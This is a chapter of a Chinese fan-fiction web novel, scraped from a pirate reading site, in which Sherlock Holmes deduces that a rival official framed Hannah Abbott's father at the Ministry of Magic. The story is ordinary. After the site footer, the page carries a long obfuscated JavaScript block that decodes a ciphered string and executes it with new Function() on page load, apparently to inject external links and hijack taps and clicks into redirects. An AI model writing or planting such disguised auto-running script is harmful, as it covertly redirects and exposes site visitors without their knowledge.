第64章 汉娜·艾博的烦恼
「敲门时连敲四下——普通人只敲两下,最多三下。」
当听到汉娜·艾博询问为什麽知道她有烦恼的时候,夏洛克如是说道。
「福尔摩斯,你真是名不虚传!」
汉娜·艾博发出了惊讶的赞叹。
事实上,她的确是有烦恼。
「好吧,就让我们尽快开始吧!」
夏洛克双手合十支住下巴,目光炯炯地看向这个小女巫。
汉娜·艾博点了点头,深吸一口气,开始讲述事情经过。
「我的父亲在魔法部工作,负责文件管理。
前些日子,他在整理一批秘密文件时,可能因为一时疏忽,导致一份文件的位置放错了。
结果,魔法部里有人藉此大做文章,指控他故意泄露机密。
如今他面临着严重的纪律处分,甚至可能会被关进阿兹卡班!」
说到这里,汉娜·艾博眼眶泛红,声音也颤抖起来。
夏洛克并没有注意到这一点,或者说注意到了也不在意。
他打开自己的记事本继续问道:
「你父亲提到这份文件时,有没有说过任何特别的地方?记住,是任何细节,哪怕看似微不足道,都可能至关重要。」
「父亲说那份文件被施了特殊的加密咒,只有用特定的魔法钥匙才能打开。」
「文件当时放在哪里?」
「锁在一个有多重防护魔法的保险柜里。」
「确定吗?」
「确定,父亲面对魔法部的询问也是这麽说,可是它就是突然出现在了其他地方。」
夏洛克听到这里,微微皱起眉头,手指轻轻敲击着桌面,片刻过后,他又追问道:
「文件被发现之前,魔法部里有没有发生什麽异常的事情?」
「异常的事情?」
汉娜·艾博有些不理解夏洛克的意思。
「比如,有没有人频繁进出你父亲的办公室,或者有没有奇怪的魔法波动被察觉到?」
汉娜·艾博闭上眼睛,眉头紧锁,努力回忆起来。
夏洛克也没有打扰,就这样静静地看着她。
赫敏看看汉娜·艾博,又看看夏洛克,冥思苦想的前者和胸有成竹的后者在这一刻形成了鲜明对比。
「对了!」
汉娜·艾博突然眼睛一亮,「父亲说过,在文件丢失前几天,他办公室的防护魔法阵曾莫名出现过一次短暂的波动。
但当时他进行了细致的检查,发现并没有什麽异常,就没有太在意。」
夏洛克点了点头,转向赫敏,「我的朋友,如果有人要利用魔法绕过保险柜的防护偷走文件,会不会造成魔法波动?」
「那是肯定的」,赫敏不假思索地回答,紧接着反应过来,「你的意思是……」
「稍等,我还有几个问题。」
被夏洛克打断的赫敏倒也不恼,反正现在的她早已经习惯了这种作风。
这个家伙本来就是这种人嘛!
接着夏洛克就开始详细询问艾博魔法部办公室的布局丶文件存放位置以及父亲日常工作的流程等诸多细节。
艾博从小就经常跑到魔法部去找父亲玩,对夏洛克的询问基本能做到有问必答,只是细节不太清楚。
不过没关系。
「妈妈想办法让我带来了魔法部对这件事情的调查报告,还有这封信,是父亲关于这件事情的描述。」
艾博说着就拿出一沓材料递了过来。
原本还在皱眉的夏洛克眼前一亮。
艾博的描述到底只能作为参考,这份报告和艾博父亲的证词才更有用。
他细细查看一番,同时开始在记事本上绘制起来。
可惜条件不允许,不能去魔法部实地查看。
看来自己这次只能学波洛了。
好在魔法部的报告还算详实,虽然其中难免还有不够清楚的地方,但是对于推断出这件事情已经足够了。
「我想……真相已经浮出水面了。」
在赫敏和艾博惊讶的目光中,夏洛克抬起头说道。
这未免也太快了吧?
「这个人很可能是你父亲在魔法部的竞争对手,他觊觎你父亲的职位已久,这次抓住机会,策划了这起阴谋。」
「福尔摩斯先生,你说的是哪个人?」
艾博的表情有些迷茫。
夏洛克突然这麽一说,她着实有些反应不过来。
「莱特·布莱克,黑光先生。」
「是他?」
汉娜当即露出惊讶的目光,「他跟我父亲并没有结仇啊?!」
夏洛克摇了摇头,解释道:
「根据你父亲的描述和这份报告上提供的资料来看,这份文件加密方式是一种极为罕见且复杂的古代魔法加密术。
能够破解它的人,必定对古代魔法有着深入的研究。
符合条件的人并不多,那位莱特·布莱克先生恰恰是其中之一。
再加上保险柜的防护魔法,需要同时破解至少三道不同类型的魔法锁才能打开。
这不仅需要高超的魔法能力,还需要对魔法部安全系统的内部构造了如指掌。
莱特·布莱克正好又负责你父亲所在那一片区域的安全系统,这就显得十分可疑。
除此之外……」
夏洛克拿起记事本,指着由自己绘制的草图继续说道:
「从这份调查报告来看,文件丢失前一周,这位黑光先生进出你父亲办公室次数多于往常,并且每次停留的时间都不短。
当然,他声称这只是为了讨论工作。
但你父亲却说那些所谓讨论的内容,大多是无关紧要的琐事。
这足以说明,他很可能是在利用这些机会寻找实施计划的最佳时机,只是你父亲没有注意罢了。
还有,他一直嫉妒你父亲的才华——-这一点虽然是我的推断,但我认为这应该不会有错。
因为在最近一次晋升评选中,他输给了你父亲,这无疑成为了他作案的强大动机。」
艾博听完夏洛克的分析,又惊又喜。
赫敏轻轻拍着她的手背,看向夏洛克的目光亦是闪闪发亮。
「福尔摩斯,你真是太厉害了!那我们现在该怎麽办?」
「别担心,艾博小姐,我们现在还需要收集证据,来证明你父亲的清白和那个人的罪行。
虽然魔法部限制了你父亲的行动,好在你的母亲还能自由行动。
所以接下来需要让她和你父亲在魔法部的朋友留意那个人的行动轨迹,特别是要注意试图销毁与文件相关的魔法痕迹,或者有没有和一些可疑人物接触。
还有,我建议你把这件事情告诉斯普劳特,相信她会为你们提供不小的帮助。
同时,我会在这里通过一些手段,进一步寻找证据。」
说到这里,他又转过头去。
「赫敏,拜托你去查阅关于古代魔法破解和魔法部安全系统漏洞的资料,说不定能找到他作案的关键线索。」
赫敏闻言不禁愣了愣,古代魔法破解倒也罢了,魔法部安全系统漏洞是什麽鬼?
这种东西是可以查到的吗?
汉娜·艾博却并没有想那麽多,红着眼睛表示对夏洛克的感谢。
夏洛克露出了一个让对方安心的微笑:
「艾博小姐,真相永远不会被掩埋,只要我们用心去寻找,就一定能发现它。」
一秒记住【笔趣阁】
biquge120.net,更新快,无弹窗!
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();